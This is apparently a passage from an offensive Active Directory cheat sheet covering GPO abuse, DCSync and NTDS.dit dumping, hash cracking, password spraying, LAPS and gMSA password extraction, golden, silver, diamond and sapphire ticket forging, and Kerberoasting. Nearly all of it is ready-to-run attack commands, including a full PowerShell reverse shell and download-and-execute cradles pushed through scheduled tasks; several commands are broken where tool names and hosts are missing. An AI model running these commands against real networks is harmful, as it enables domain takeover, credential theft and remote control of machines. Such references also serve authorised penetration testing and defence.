    # with a NULL session -no-pass 'DOMAIN_CONTROLLER'
    # with cleartext credentials 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
    # pass-the-hash -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'


  • Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
  • Delete existing GPP xml files in SYSVOL containing passwords.
  • Don’t put passwords in files that are accessible by all authenticated users.

Exploit Group Policy Objects GPO

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

🚩 GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

⚠ Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: gpupdate /force.

Find vulnerable GPO

Look a GPLink where you have the Write right.

Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs |  Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}

Abuse GPO with SharpGPOAbuse

# Build and configure SharpGPOAbuse
$ git clone
$ Install-Package CommandLineParser -Version
$ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

# Adding User Rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Adding a Local Admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Configuring a User or Computer Logon Script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(''))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
# /!\ Intended to "run once" per GPO refresh, not run once per system
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(''))\"" --GPOName "Vulnerable GPO"
.\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\User' --TaskName "EvilTask" --Arguments  "/c powershell.exe -nop -w hidden -enc BASE64_ENCODED_COMMAND " --Command "cmd.exe" --Force

Abuse GPO with PowerGPOAbuse

PS> . .\PowerGPOAbuse.ps1

# Adding a localadmin 
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Assign a new right 
PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'

# Adding a New Computer/User script 
PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'

# Create an immediate task 
PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'

Abuse GPO with pyGPOAbuse

$ git clone

# Add john user to local administrators group (Password: H4x00r123..)
./ DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

# Reverse shell example
./ DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 

Abuse GPO with PowerView

# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force

Abuse GPO with StandIn

# Add a local administrator
StandIn.exe --gpo --filter Shards --localadmin user002

# Set custom right to a user
StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"

# Execute a custom command
StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"

Dumping AD Domain Credentials

You will need the following files to extract the ntds : - NTDS.dit file - SYSTEM hive (C:\Windows\System32\SYSTEM)

Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit. - systemroot\NTDS\ntds.dit stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data). - systemroot\System32\ntds.dit is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"

DCSync Attack

DCSync is a technique used by attackers to obtain sensitive information, including password hashes, from a domain controller in an Active Directory environment. Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.

  • DCSync only one user
    mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
  • DCSync all users of the domain
    mimikatz# lsadump::dcsync /domain:htb.local /all /csv
    crackmapexec smb -u 'username' -p 'password' --ntds
    crackmapexec smb -u 'username' -p 'password' --ntds drsuapi

⚠ OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync from a user account can raise alerts.

Volume Shadow Copy

The VSS is a Windows service that allows users to create snapshots or backups of their data at a specific point in time. Attackers can abuse this service to access and copy sensitive data, even if it is currently being used or locked by another process.

  • windows-commands/vssadmin
    vssadmin create shadow /for=C:
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
  • windows-commands/ntdsutil
    ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
  • CrackMapExec VSS module
    cme smb -u username -p password --ntds vss

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./ -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./ -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@
  • -pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.
  • -user-status: Display whether or not the user is disabled.

Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller. ⚠ Requires administrator access with debug or Local SYSTEM rights

lsadump::lsa /inject /name:krbtgt

Crack NTLM hashes with hashcat

Useful when you want to have the clear text password or when you need to make stats about weak passwords.

Recommended wordlists: - Rockyou.txt - Have I Been Pwned founds - - Read More at Methodology and Resources/Hash

# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane" 
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myrules.rule --opencl-device-types 1,2

# Generate a custom mask based on a wordlist
$ git clone
$ python2 ../hashcat.potfile -o hashcat.mask
$ python2 hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask

⚠ If the password is not a confidential data (challenges/ctf), you can use online "cracker" like : - - -

NTDS Reversible Encryption

UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.

The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.

  • List users with "Store passwords using reversible encryption" enabled
    Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

The password retrieval is already handled by SecureAuthCorp/ and mimikatz, it will be displayed as CLEARTEXT.

User Hunting

Sometimes you need to find a machine where a specific user is logged in.
You can remotely query every machines on the network to get a list of the users's sessions.

  • CrackMapExec
    cme smb -u Administrator -p 'P@ssw0rd' --sessions
    SMB    445    WIN-8OJFTLMU1IG  [+] Enumerated sessions
    SMB    445    WIN-8OJFTLMU1IG  \\            User:Administrator
  • Impacket Smbclient
    $ impacket-smbclient Administrator@
    # who
    host:  \\, user: Administrator, active:     1, idle:     0
  • PowerView Invoke-UserHunter
    # Find computers were a Domain Admin OR a specified user has a session
    Invoke-UserHunter -GroupName "RDPUsers"
    Invoke-UserHunter -Stealth

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

  • P@ssw0rd01, Password123, Password1, Hello123, mimikatz
  • Welcome1/Welcome01
  • $Companyname1 :$Microsoft1
  • SeasonYear : Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020!
  • Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
  • Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

  • Username bruteforce
    root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc usernames.txt
  • Password bruteforce
    root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc rockyou.txt username
  • Password spray
    root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt Password123
    root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt rockyou.txt
    root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log

Spray a pre-generated passwords list

  • Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.
    crackmapexec smb -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
  • Using DomainPasswordSpray to spray a password against all users of a domain.
    Invoke-DomainPasswordSpray -Password Summer2021!
    # /!\ be careful with the account lockout !
    Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  • Using SMBAutoBrute.
    Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose

Spray passwords against the RDP service

  • Using RDPassSpray to target RDP services.
    git clone
    python3 -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
  • Using hydra and ncrack to target RDP services.
    hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://
    ncrack connection-limit 1 -vv --user administrator -P password-file.txt rdp://

BadPwdCount attribute

The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

$ crackmapexec ldap -u 'username' -p 'password' --kdcHost --users
LDAP       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>

Password in AD User comment

$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
$ crackmapexec ldap -u 'username' -p 'password' --kdcHost -M get-desc-users
GET-DESC...       389    dc01    [+] Found following users: 
GET-DESC...       389    dc01    User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC...       389    dc01    User: krbtgt description: Key Distribution Center Service Account

There are 3-4 fields that seem to be common in most AD schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

enum4linux | grep -i desc

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID

or dump the Active Directory and grep the content.

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd -o ~/Documents/AD_DUMP/

Password of Pre-Created Computer Account

When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.

# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
  • When you attempt to login using the credential you should have the following error code : STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.
  • Then you need to change the password with

Reading LAPS Password

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed

Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'

Extract LAPS password

The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

  • From Windows:

  • adsisearcher (native binary on Windows 8+)

    ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $}
    ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $}

  • PowerView

    PS > Import-Module .\PowerView.ps1
    PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime

  • LAPSToolkit

    $ Get-LAPSComputers
    ComputerName                Password                                 Expiration         
    ------------                --------                                 ----------         
    example.domain.local        dbZu7;vGaI)Y6w1L                         02/21/2021 22:29:18
    $ Find-LAPSDelegatedGroups
    $ Find-AdmPwdExtendedRights

  • Powershell AdmPwd.PS

    foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $|where {$ -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

  • From Linux:

  • pyLAPS to read and write LAPS passwords:

    # Read the password of all computers
    ./ --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip
    # Write a random password to a specific computer
    ./ --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip

  • CrackMapExec:

    crackmapexec smb -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps

  • LAPSDumper

    python -u 'user' -p 'password' -d 'domain.local'
    python -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'

  • ldapsearch

    ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`

Grant LAPS Access

The members of the group "Account Operator" can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"

Reading GMSA Password

User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

GMSA Attributes in the Active Directory

  • msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
  • msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
  • msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
  • msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Extract NT hash from the Active Directory

  • mpgn/CrackMapExec

    # Use --lsa to get GMSA ID
    crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99
    crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'

  • rvazarkar/GMSAPasswordReader

    GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT

  • micahvandeusen/gMSADumper powershell python3 -u User -p Password1 -d domain.local

  • Active Directory Powershell

    $gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
    $blob = $gmsa.'msDS-ManagedPassword'
    $mp = ConvertFrom-ADManagedPasswordBlob $blob
    $hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword

  • kdejoyce/gMSA_Permissions_Collection.ps1 based on Active Directory PowerShell module

Forging Golden GMSA

One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

⚠ You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and ManagedPasswordIntervalInDays, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.

  • Using GoldenGMSA
    # Enumerate all gMSAs
    GoldenGMSA.exe gmsainfo
    # Query for a specific gMSA
    GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
    # Dump all KDS Root Keys
    GoldenGMSA.exe kdsinfo
    # Dump a specific KDS Root Key
    GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
    # Compute gMSA password
    # --sid <gMSA SID>: SID of the gMSA (required)
    # --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
    # --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
    GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode

Kerberos Tickets

Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.

There are two types of tickets in Kerberos:

  • Ticket Granting Ticket (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.

  • Service Ticket (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.

Dump Kerberos Tickets

  • Mimikatz: sekurlsa::tickets /export
  • Rubeus
    # List available tickets
    Rubeus.exe triage
    # Dump one ticket, the output is in Kirbi format
    Rubeus.exe dump /luid:0x12d1f7

Replay Kerberos Tickets

  • Mimikatz: mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"
  • CrackMapExec: KRB5CCNAME=/tmp/administrator.ccache crackmapexec smb 10.10.10 -u user --use-kcache

Convert Kerberos Tickets

In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.

  • A credential cache, or "ccache" is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.

  • The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a "kirbi" cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.

While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:

  • kekeo: misc::convert ccache ticket.kirbi
  • impacket: impacket-ticketConverter SRV01.kirbi SRV01.ccache

Pass-the-Ticket Golden Tickets

Forging a TGT require: * the krbtgt NT hash * since recently, we cannot use a non-existent account name as a result of CVE-2021-42287 mitigations

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to, and the krbtgt NT hash must be used.

Using Mimikatz

# Get info - Mimikatz
lsadump::lsa /inject /name:krbtgt
lsadump::lsa /patch
lsadump::trust /patch
lsadump::dcsync /user:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt

Using Meterpreter

# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_use /root/Downloads/pentestlabuser.tck

Using a ticket on Linux

# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./ -k -no-pass -dc-ip AD/administrator@ 

If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.

root@kali:ticket_converter$ python velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Mitigations: * Hard to detect because they are legit TGT tickets * Mimikatz generate a golden ticket with a life-span of 10 years

Pass-the-Ticket Silver Tickets

Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.

# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./ -k -no-pass -dc-ip AD/administrator@ 

Interesting services to target with a silver ticket :

Service Type Service Silver Tickets Attack
WMI HOST + RPCSS wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell Remoting CIFS + HTTP + (wsman?) New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRM HTTP + wsman New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled Tasks HOST schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS) CIFS dir \\dc01\c$
LDAP operations including Mimikatz DCSync LDAP lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt
Windows Remote Server Administration Tools RPCSS + LDAP + CIFS /

Mitigations: * Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

Pass-the-Ticket Diamond Tickets

Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key

Require: * krbtgt NT Hash * krbtgt AES key -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'

Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS

Pass-the-Ticket Sapphire Tickets

Requesting the target user's PAC with S4U2self+U2U exchange during TGS-REQ(P) (PKINIT).

The goal is to mimic the PAC field as close as possible to a legitimate one.

Require: * Impacket PR#1411 * krbtgt AES key

# baduser argument will be ignored -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'


"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

  • GetUserSPNs from Impacket Suite

    $ active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip -request
    Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
    ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
    --------------------  -------------  --------------------------------------------------------  -------------------  -------------------
    active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 

  • CrackMapExec Module

    $ crackmapexec ldap -u 'username' -p 'password' --kdcHost --kerberoast output.txt
    LDAP       389    dc01           [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
    LDAP       389    dc01           $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9

  • Rubeus

    # Stats
    Rubeus.exe kerberoast /stats
    -------------------------------------   ----------------------------------
    | Supported Encryption Type | Count |  | Password Last Set Year | Count |
    -------------------------------------  ----------------------------------
    | RC4_HMAC_DEFAULT          | 1     |  | 2021                   | 1     |
    -------------------------------------  ----------------------------------
    # Kerberoast (RC4 ticket)
    Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
    # Kerberoast (AES ticket)
    # Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
    Rubeus.exe kerberoast /tgtdeleg
    # Kerberoast (RC4 ticket)
    # The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
    Rubeus.exe kerberoast /rc4opsec

  • PowerView

    Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

  • bifrost on macOS machine

    ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true

  • targetedKerberoast

    # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), 
    # print the "kerberoast" hash, and delete the temporary SPN set for that operation [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]

Then crack the ticket using the correct hashcat mode ($krb5tgs$23= etype 23)

Mode Description
13100 Kerberos 5 TGS-REP etype 23 (RC4)
19600 Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
19700 Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt

Mitigations: * Have a very long password for your accounts with SPNs (> 32 characters) * Make sure no users have SPNs

KRB_AS_REP Roasting

